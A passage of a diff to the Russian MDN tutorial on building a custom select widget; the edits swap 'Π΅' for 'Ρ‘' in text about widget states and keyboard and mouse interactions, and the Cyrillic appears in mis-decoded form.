-<p>Π’ Π½Π°Ρ‡Π°Π»Π΅ создания ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅. Π­Ρ‚ΠΎ сэкономит Π΄Ρ€Π°Π³ΠΎΡ†Π΅Π½Π½ΠΎΠ΅ врСмя. ОсобСнно Π²Π°ΠΆΠ½ΠΎ Ρ‡Π΅Ρ‚ΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ всС состояния вашСго Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°. Π§Ρ‚ΠΎΠ±Ρ‹ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π»ΡƒΡ‡ΡˆΠ΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ с ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°, состояния ΠΈ Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ извСстны, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ смоТСтС просто ΠΏΠΎΠ΄Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΈΠΌ насколько это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ.</p>
+<p>Π’ Π½Π°Ρ‡Π°Π»Π΅ создания ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅. Π­Ρ‚ΠΎ сэкономит Π΄Ρ€Π°Π³ΠΎΡ†Π΅Π½Π½ΠΎΠ΅ врСмя. ОсобСнно Π²Π°ΠΆΠ½ΠΎ Ρ‡Ρ‘Ρ‚ΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ всС состояния вашСго Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°. Π§Ρ‚ΠΎΠ±Ρ‹ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π»ΡƒΡ‡ΡˆΠ΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ с ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°, состояния ΠΈ Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ извСстны, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ смоТСтС просто ΠΏΠΎΠ΄Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΈΠΌ насколько это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ.</p>
<p>Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π΅Π»Ρ‹Π²Π°Ρ‚ΡŒ элСмСнт {{HTMLElement("select")}}. Π’ΠΎΡ‚ Ρ‚Π°ΠΊΠΎΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ:</p>
<p><img alt="The three states of a select box" src="/files/4481/custom-select.png" style="height: 135px; width: 366px;"></p>
-<p>Π­Ρ‚ΠΎΡ‚ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‚Ρ€ΠΈ основных состояния нашСго Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°: Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅ состояниС (слСва); Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ состояниС (посСрСдинС) ΠΈ Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠ΅ состояниС (справа).</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‚Ρ€ΠΈ основных состояния нашСго Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°: Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅ состояниС (слСва); Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ состояниС (посСрСдинС) ΠΈ Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠ΅ состояниС (справа).</p>
<p>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Ρ€Π΅Π°ΠΊΡ†ΠΈΠΉΒ Π½ΡƒΠΆΠ½ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ наш Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ взаимодСйствовал ΠΊΠ°ΠΊ с ΠΌΡ‹ΡˆΡŒΡŽ, Ρ‚Π°ΠΊ ΠΈ с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€ΠΎΠΉ, Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ стандартный Π²ΠΈΠ΄ΠΆΠ΅Ρ‚. Π”Π°Π²Π°ΠΉΡ‚Π΅ сначала ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ, ΠΊΠ°ΠΊ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ Π² каТдоС состояниС:</p>
@@ -51,10 +51,10 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<ul>
<li>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚Β Π½Π° Π½Π΅Π³ΠΎ</li>
<li>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ Tab, ΠΈ ΠΎΠ½ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ фокус</li>
- <li>Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π±Ρ‹Π» Π² Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠΌ состоянии ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚ Π½Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚.</li>
+ <li>Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π±Ρ‹Π» Π² Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠΌ состоянии ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚ Π½Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚.</li>
</ul>
</dd>
- <dt>Π’ΠΈΠ΄ΠΆΠ΅Ρ‚ Π² Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠΌ состоянии:</dt>
+ <dt>Π’ΠΈΠ΄ΠΆΠ΅Ρ‚ Π² Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠΌ состоянии:</dt>
<dd>
<ul>
<li>Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π² любом Π΄Ρ€ΡƒΠ³ΠΎΠΌ состоянии ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚ Π½Π° Π½Π΅Π³ΠΎ</li>
@@ -68,7 +68,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<dt>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ измСняСтся ΠΊΠΎΠ³Π΄Π°:</dt>
<dd>
<ul>
- <li>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚ Π½Π° ΠΎΠ΄ΠΈΠ½-ΠΈΠ·-Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² ΠΊΠΎΠ³Π΄Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π² Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠΌ состоянии</li>
+ <li>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚ Π½Π° ΠΎΠ΄ΠΈΠ½-ΠΈΠ·-Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² ΠΊΠΎΠ³Π΄Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π² Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠΌ состоянии</li>
<li>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ клавиши стрСлка Π²Π²Π΅Ρ€Ρ… ΠΈΠ»ΠΈ Π²Π½ΠΈΠ· ΠΊΠΎΠ³Π΄Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π² Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌ состоянии</li>
</ul>
</dd>
@@ -81,11 +81,11 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<li>ΠΊΠΎΠ³Π΄Π° курсор ΠΌΡ‹ΡˆΠΈ находится Π½Π°Π΄ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ,Β ΠΎΠ½ подсвСчСн ΠΈ Ρ€Π°Π½Π΅Π΅ подсвСчСнный Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ возвращаСтся Π² Π΅Π³ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ΅ состояниС</li>
</ul>
-<p>Для нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° остановимся Π½Π° этом; Π½ΠΎ, Ссли Π²Ρ‹ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŒ, Π²Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚. НапримСр, ΠΊΠ°ΠΊ Π²Ρ‹ Π΄ΡƒΠΌΠ°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΌΠ΅Ρ‚ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ "tab" ΠΊΠΎΠ³Π΄Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π² Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠΌ состоянии? ΠžΡ‚Π²Π΅Ρ‚ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚... Π½ΠΈΡ‡Π΅Π³ΠΎ. OK, ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π°Ρ рСакция каТСтся ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎΠΉ, Π½ΠΎΒ ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½Π° Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Π² Π½Π°ΡˆΠΈΡ… спСцификациях, Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ Π»Π΅Π³ΠΊΠΎ ΠΏΡ€ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ этой Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ.Β Π­Ρ‚ΠΎ особСнно Π²Π΅Ρ€Π½ΠΎ для командной Ρ€Π°Π±ΠΎΡ‚Ρ‹, ΠΊΠΎΠ³Π΄Π° Ρ‚Π΅, ΠΊΡ‚ΠΎ опрСдСляСт ΠΊΠ°ΠΊΠΈΠΌΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π° сами Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ ΠΈΡ….</p>
+<p>Для нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° остановимся Π½Π° этом; Π½ΠΎ, Ссли Π²Ρ‹ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŒ, Π²Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚. НапримСр, ΠΊΠ°ΠΊ Π²Ρ‹ Π΄ΡƒΠΌΠ°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΌΡ‘Ρ‚ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ "tab" ΠΊΠΎΠ³Π΄Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π² Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠΌ состоянии? ΠžΡ‚Π²Π΅Ρ‚ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚... Π½ΠΈΡ‡Π΅Π³ΠΎ. OK, ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π°Ρ рСакция каТСтся ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎΠΉ, Π½ΠΎΒ ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½Π° Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Π² Π½Π°ΡˆΠΈΡ… спСцификациях, Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ Π»Π΅Π³ΠΊΠΎ ΠΏΡ€ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ этой Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ.Β Π­Ρ‚ΠΎ особСнно Π²Π΅Ρ€Π½ΠΎ для командной Ρ€Π°Π±ΠΎΡ‚Ρ‹, ΠΊΠΎΠ³Π΄Π° Ρ‚Π΅, ΠΊΡ‚ΠΎ опрСдСляСт ΠΊΠ°ΠΊΠΈΠΌΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π° сами Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ ΠΈΡ….</p>
-<p>Π”Ρ€ΡƒΠ³ΠΎΠΉ Π·Π°Π±Π°Π²Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΌΠ΅Ρ‚ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ Π²Π²Π΅Ρ€Ρ… ΠΈΠ»ΠΈ Π²Π½ΠΈΠ· ΠΊΠΎΠ³Π΄Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ находится Π² Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠΌ состоянии? Π­Ρ‚ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ слоТнСС. Если Π²Ρ‹ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ ΠΈ Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠ΅ состояниС ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹, Ρ‚ΠΎ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠΌ снова будСт "Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚" , ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… взаимодСйствий с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€ΠΎΠΉ Π² ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΌ состоянии. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Ссли Π²Ρ‹ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅,Β Ρ‡Ρ‚ΠΎ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ ΠΈ Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠ΅ состояниС Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠΈ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ измСнится,Β Π½ΠΎ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ соотвСтствСнно подсвСчСн, ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… дСйствий с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ Π½Π°Π΄Β Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°ΠΌΠΈ ΠΊΠΎΠ³Π΄Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ находится Π² Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠΌ состоянии (ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ развСрнСтся, Π½ΠΎ Π½ΠΈΡ‡Π΅Π³ΠΎ Π±ΠΎΠ»Π΅Π΅).</p>
+<p>Π”Ρ€ΡƒΠ³ΠΎΠΉ Π·Π°Π±Π°Π²Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΌΡ‘Ρ‚ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ Π²Π²Π΅Ρ€Ρ… ΠΈΠ»ΠΈ Π²Π½ΠΈΠ· ΠΊΠΎΠ³Π΄Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ находится Π² Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠΌ состоянии? Π­Ρ‚ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ слоТнСС. Если Π²Ρ‹ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ ΠΈ Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠ΅ состояниС ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹, Ρ‚ΠΎ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠΌ снова будСт "Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚" , ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… взаимодСйствий с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€ΠΎΠΉ Π² ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΌ состоянии. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Ссли Π²Ρ‹ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅,Β Ρ‡Ρ‚ΠΎ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ ΠΈ Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠ΅ состояниС Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠΈ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ измСнится,Β Π½ΠΎ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ соотвСтствСнно подсвСчСн, ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… дСйствий с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ Π½Π°Π΄Β Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°ΠΌΠΈ ΠΊΠΎΠ³Π΄Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ находится Π² Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠΌ состоянии (ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, ΠΊΠΎΠ³Π΄Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ развСрнётся, Π½ΠΎ Π½ΠΈΡ‡Π΅Π³ΠΎ Π±ΠΎΠ»Π΅Π΅).</p>
-<p>Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Π΅ спСцификации ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ с Π½ΠΈΠΌΠΈ справимся, Π½ΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ для Π½ΠΎΠ²Ρ‹Ρ… экзотичСских видТСтов, ΠΊΠΎΠ³Π΄Π° Π½ΠΈΠΊΡ‚ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈ малСйшСго прСдставлСния ΠΎ Ρ‚ΠΎΠΌ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π΅Π°Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. ВсСгда Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ врСмя Π½Π° этом этапС Π΄ΠΈΠ·Π°ΠΉΠ½Π°, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ссли Π²Ρ‹ ΠΏΠ»ΠΎΡ…ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅,Β ΠΈΠ»ΠΈΒ Π·Π°Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ€Π΅Π°ΠΊΡ†ΠΈΡŽ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ слоТно ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π΅, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΡƒΠΆΠ΅ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ½ΡƒΡ‚. Если Ρƒ вас Π΅ΡΡ‚ΡŒ сомнСния - спроситС мнСния Ρƒ ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰ΠΈΡ…, ΠΈ, Ссли позволяСт Π±ΡŽΠ΄ΠΆΠ΅Ρ‚,Β Β Π½Π΅ ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ <a 